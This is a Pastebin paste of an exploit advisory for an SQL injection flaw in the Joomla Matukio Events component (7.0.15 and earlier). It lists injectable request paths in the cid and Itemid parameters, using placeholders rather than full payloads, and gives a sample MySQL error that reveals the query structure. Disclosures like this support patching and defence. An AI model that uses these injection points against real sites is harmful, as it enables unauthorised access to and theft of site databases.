API tools faq
paste
KingSkrupellos

Joomla Matukio Events Components 7.0.15 SQL Injection

KingSkrupellos
Feb 24th, 2019
46
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.78 KB | None | 0 0
raw download clone embed print report
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla Matukio Events Components 7.0.15 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 25/02/2019
  7. # Vendor Homepage : compojoom.com
  8. # Software Download Link : matukio.compojoom.com
  9. # Software Information Link : extensions.joomla.org/extension/matukio-events/
  10. compojoom.com/joomla-extensions/matukio-events-management-made-easy
  11. # Software Version : 7.0.15 and previous versions
  12. # Software Price : Paid Download
  13. # Tested On : Windows and Linux
  14. # Category : WebApps
  15. # Exploit Risk : Medium
  16. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  17. Special Elements used in an SQL Command ('SQL Injection') ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. ####################################################################
  23.  
  24. # Description about Software :
  25. ***************************
  26. Matukio Events - The all in one events and webinar solution for Joomla.
  27.  
  28. From event management and presentation, over flexible booking forms, till payment processing!
  29.  
  30. ####################################################################
  31.  
  32. # Impact :
  33. ***********
  34. Joomla Matukio Events Components 7.0.15 [ and other versions ] component for Joomla is
  35.  
  36. prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied
  37.  
  38. data before using it in an SQL query. Exploiting this issue could allow an attacker
  39.  
  40. to compromise the application, access or modify data, or exploit latent vulnerabilities
  41.  
  42. in the underlying database. A remote attacker can send a specially crafted request
  43.  
  44. to the vulnerable application and execute arbitrary SQL commands in application`s database.
  45.  
  46. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  47.  
  48. An attacker can exploit this issue using a browser.
  49.  
  50. ####################################################################
  51.  
  52. # SQL Injection Exploit :
  53. **********************
  54.  
  55. /index.php?tmpl=component&option=com_matukio&view=ics&format=raw
  56.  
  57. /index.php/en/?option=com_matukio&view=ics&format=raw
  58.  
  59. /index.php?option=com_matukio&view=participantlist&cid=[SQL Injection]
  60.  
  61. /index.php?option=com_matukio&view=calendar&Itemid=[SQL Injection]
  62.  
  63. /index.php?option=com_matukio&view=participantlist&cid=[ID-NUMBER]&Itemid=[SQL Injection]
  64.  
  65. ####################################################################
  66.  
  67. # Example SQL Database Error :
  68. ****************************
  69. #1064 You have an error in your SQL syntax; check the manual that corresponds
  70. to your MySQL server version for the right syntax to use near 'cur.id as curid,
  71. cur.title as curtitle, cur.sign as currencySign, cur.posi' at line 2 SQL=SELECT
  72. a.*, r.*, cat.title AS category cur.id as curid, cur.title as curtitle, cur.sign as currencySign,
  73. cur.position as currencyPosition, cur.decimalsign as decimalSign, cur.payment_
  74. code as payment_code, IF(r.override_title IS NULL or r.override_title =
  75. '', a.title, r.override_title) as title, IF(r.override_maxpupil IS NULL or r.override_maxpupil
  76. = '', a.maxpupil, r.override_maxpupil) as maxpupil FROM #__matukio_recurring
  77. AS r LEFT JOIN #__matukio AS a ON r.event_id = a.id LEFT JOIN
  78. #__categories AS cat ON cat.id = a.catid LEFT JOIN #__matukio_currencies AS
  79. cur ON cur.id = a.currency_id WHERE r.published = '1' AND r.end >
  80. '' AND r.booked > '' AND cat.access IN (1,1) ORDER BY r.begin DESC LIMIT 0, 1000
  81.  
  82. ####################################################################
  83.  
  84. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  85.  
  86. ####################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!